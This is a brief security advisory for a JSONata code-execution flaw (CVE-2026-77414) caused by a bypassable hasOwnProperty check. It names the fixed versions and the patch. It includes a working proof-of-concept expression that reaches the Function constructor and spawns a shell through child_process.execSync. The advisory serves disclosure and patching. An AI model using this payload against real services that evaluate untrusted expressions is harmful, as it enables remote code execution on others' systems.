CVE-2026-77414

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});